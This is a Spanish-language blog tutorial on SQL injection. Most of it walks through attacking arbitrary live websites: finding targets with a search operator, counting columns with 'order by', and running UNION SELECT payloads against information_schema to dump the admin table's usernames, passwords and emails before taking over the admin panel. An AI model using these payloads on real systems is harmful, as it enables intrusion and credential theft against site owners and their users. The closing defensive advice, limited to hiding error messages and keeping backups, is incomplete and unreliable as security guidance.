Inicio / Tutoriales / Inyección SQL: Hackear Sitio Web

Inyección SQL: Hackear Sitio Web

Inyección SQL: Hackear Sitio Web
Descripción:

Esta página se publica aquí con motivos informativos, y no pretende enseñar a nadie como hackear, robar, o hacerse con el control de un sitio Web.

Yo soy defensor de las páginas en internet, y me gusta la seguridad
para todos aquellos usuarios que tienen algún blog o páginas de intercambios, y de otra índole.

¿Que es la inyección SQL?

Inyección SQL es un método de infiltración de código intruso, que se vale de una vulnerabilidad informática presente en una aplicación en el nivel de validación de las entradas para realizar operaciones sobre una base de datos.

El origen de la vulnerabilidad radica en el incorrecto chequeo o filtrado de las variables utilizadas en un programa que contiene, o bien genera, código SQL.

Es, de hecho, un error de una clase más general de vulnerabilidades que puede ocurrir en cualquier lenguaje de programación o script que esté embebido dentro de otro.

Se conoce como Inyección SQL, indistintamente, al tipo de vulnerabilidad, al método de infiltración, al hecho de incrustar código SQL intruso y a la porción de código incrustado.

Se dice que existe o se produjo una inyección SQL cuando, de alguna manera, se inserta o “inyecta” código SQL invasor dentro del código SQL programado, a fin de alterar el funcionamiento normal del programa y lograr así que se ejecute la porción de código  “invasor” incrustado, en la base de datos.

Este tipo de intrusión normalmente es de carácter malicioso, dañino o espía, por tanto es un problema de seguridad informática, y debe ser tomado en cuenta por el programador de la aplicación para poder prevenirlo.

Un programa elaborado con descuido, displicencia o con ignorancia del problema, podrá resultar ser vulnerable, y la seguridad del sistema (base de datos) podrá quedar eventualmente comprometida.

La intrusión ocurre durante la ejecución del programa vulnerable, ya sea, en computadores de escritorio o bien en sitios Web, en este último caso obviamente ejecutándose en el servidor que los aloja.

La vulnerabilidad se puede producir automáticamente cuando un programa “arma descuidadamente” una sentencia SQL en tiempo de ejecución, o bien durante la fase de desarrollo, cuando el programador explicita la sentencia SQL a ejecutar en forma desprotegida.

En cualquier caso, siempre que el programador necesite y haga uso de parámetros a ingresar por parte del usuario, a efectos de consultar una base de datos; ya que justamente, dentro de los parámetros es donde se puede incorporar el código SQL intruso.

Al ejecutarse la consulta en la base de datos, el código SQL inyectado también se ejecutará y podría hacer un sin número de cosas, como insertar registros, modificar o eliminar datos, autorizar accesos e, incluso, ejecutar otro tipo de código malicioso en el computador.

Veamos algunos ejemplos de inyección SQL:

Abrid vuestro navegador estándar, y escribid esto; inurl:.php?id=

Esa búsqueda hará que se muestren muchos sitios web que tienen alguna consulta hacia una base de datos.

Usted debe ver algún enlace como esto; www.sitio.com/algo.php?id=1

Si modificamos ese enlace poniendo al final un apostrofo se vería así; www.sitio.com/algo.php?id=1′

Si se da algún error SQL, significa que es vulnerable a la inyección de SQL y podemos entrar ilegalmente en él.

El Hacker intentará buscar cuantas columnas hay en esa base de datos, mediante la inclusión de código intruso.

Ahora modificamos el enlace de esta forma www.sitio.com/algo.php?id=1 order by 1– ,
incrementando el código después de order by, así;

www.sitio.com/algo.php?id=1 order by 2–

www.sitio.com/algo.php?id=1 order by 3–

www.sitio.com/algo.php?id=1 order by 4–

www.sitio.com/algo.php?id=1 order by 5–

Supongamos ahora que se obtiene algún error o ningún mensaje en order by 6– – tal como;

“UNKNOWN COLUMN IN ORDER CLAUSE” (traducción “COLUMNA DESCONOCIDA EN LA ORDEN ClAUSULA”)

Entonces es evidente que hay 5 columnas en la base de datos.

Ahora el Hacker intentará encontrar la columna vulnerable que puede aceptar órdenes al azar y consultas.

Para ello se utiliza el código de intrusión UNION ALL SELECT (serie de columnas aquí)–

Sería algo como esto; UNION SELECT 1,2,3,4,5–

Sólo tiene que escribir esto y poner un guión (-) signo menos después de id = (por ejemplo, id = -1)

www.sitio.com/algo.php?id=-1 union all select 1,2,3,4,5–

Ahora después de pulsar entrar, la nueva página le mostrará cualquier número entre 1 – 5.

Supongamos que se ve un 2 en cualquier parte de la pantalla, significa que la segunda columna es vulnerable y podemos insertar nuestras consultas en esta columna.

Como ya se sabe que la segunda columna es vulnerable, ahora el Hacker quiere averiguar que versión es la base de datos.

Entonces se modifica el código intruso, poniendo en el lugar del 2 esto; @@version, o esto version() .

Y la consulta hacia la base de datos quedaría así:

www.sitio.com/algo.php?id=1 union all select 1,@@version,3,4,5–

Se mostrará la versión de la base de datos en pantalla.

Ahora hay que tener en cuenta que si se ve una versión 5 o superior a 5, entonces es fácil, pero si se ve una versión menor de 5, entonces tiene que adivinar los nombres de tablas y columnas que es muy difícil.

Supongamos que se ve la versión 5 o superior, y se sabe el nombre de la tabla, escribimos otro código intruso;

www.sitio.com/algo.php?id=1 union all select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema=database()–

Se mostrará el conjunto de tablas de la base de datos, según el nombre de la tabla.

Ahora ver por admin o usuario, ya que en estas tablas se puede obtener las contraseñas de administrador y hackear el sitio web …

www.sitio.com/algo.php?id=1 union all select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_name=’admin’–

Se mostrará todas las columnas de la tabla de administración; como nombre de usuario: contraseña: Correo:

El paso final, sería extraer la información de esas columnas.

www.sitio.com/algo.php?id=1 union all select 1,group_concat(Username,0x3a,Password,0x3a,Email),3,4,5 from admin–

Se mostrará el nombre de usuario, contraseña y el correo electrónico del administrador.

Ahora encontrar el panel de administración, iniciar sesión y se controlaría el sitio web.

Esto sería un pequeño resumen de hackeo de un sitio web con inyección SQL.

Existe otra variable de inyección SQL a ciegas, Blind SQL inyección.

Se evidencia cuando en una página web, por una falla de seguridad, no se muestran mensajes de error al no producirse resultados correctos ante una consulta a la base de datos, mostrándose siempre el mismo contenido (es decir, solo hay respuesta si el resultado es correcto).

Existen programas que automatizan este proceso de “tanteos” letra por letra en el resultado de la consulta SQL, que un intruso podría enviar inyectando.

Desde luego no recomiendo a nadie el uso de estas prácticas, ya que podrían averiguar desde el servidor, quien o que a incrustado código intruso en el servidor, y solo se muestra aquí a modo informativo, para que los administradores de los sitios web tomen conciencia, y puedan asegurar aún mejor sus códigos internos.

Para evitar ataques de inyección SQL, se debe simplificar el código, asegurándose de que el usuario no recibe respuesta de error sobre la base de datos, así el hacker no obtiene ninguna información.

Y también se debe hacer copia, (obvio), de todo el contenido importante del sitio web.

Nota Final: Este post no está aun terminado, en poco tiempo se incluirá una herramienta portable para testear inyecciones SQL.

 

Capturas:

Inyección SQL: Hackear Sitio Web

Contenido Wikipedia

Comments

comments

Si te ha gustado este post, puedes dejar un Comentario o suscribirse via RSS feed Para que estés al tanto de las novedades de nuestra Web.

Acerca de Uinglond

https://www.youtube.com/channel/UCe8zJLunSSUXSwGGGzJi-Uw

Deja un Comentario

Tu dirección de email no será publicada. Required fields are marked *

*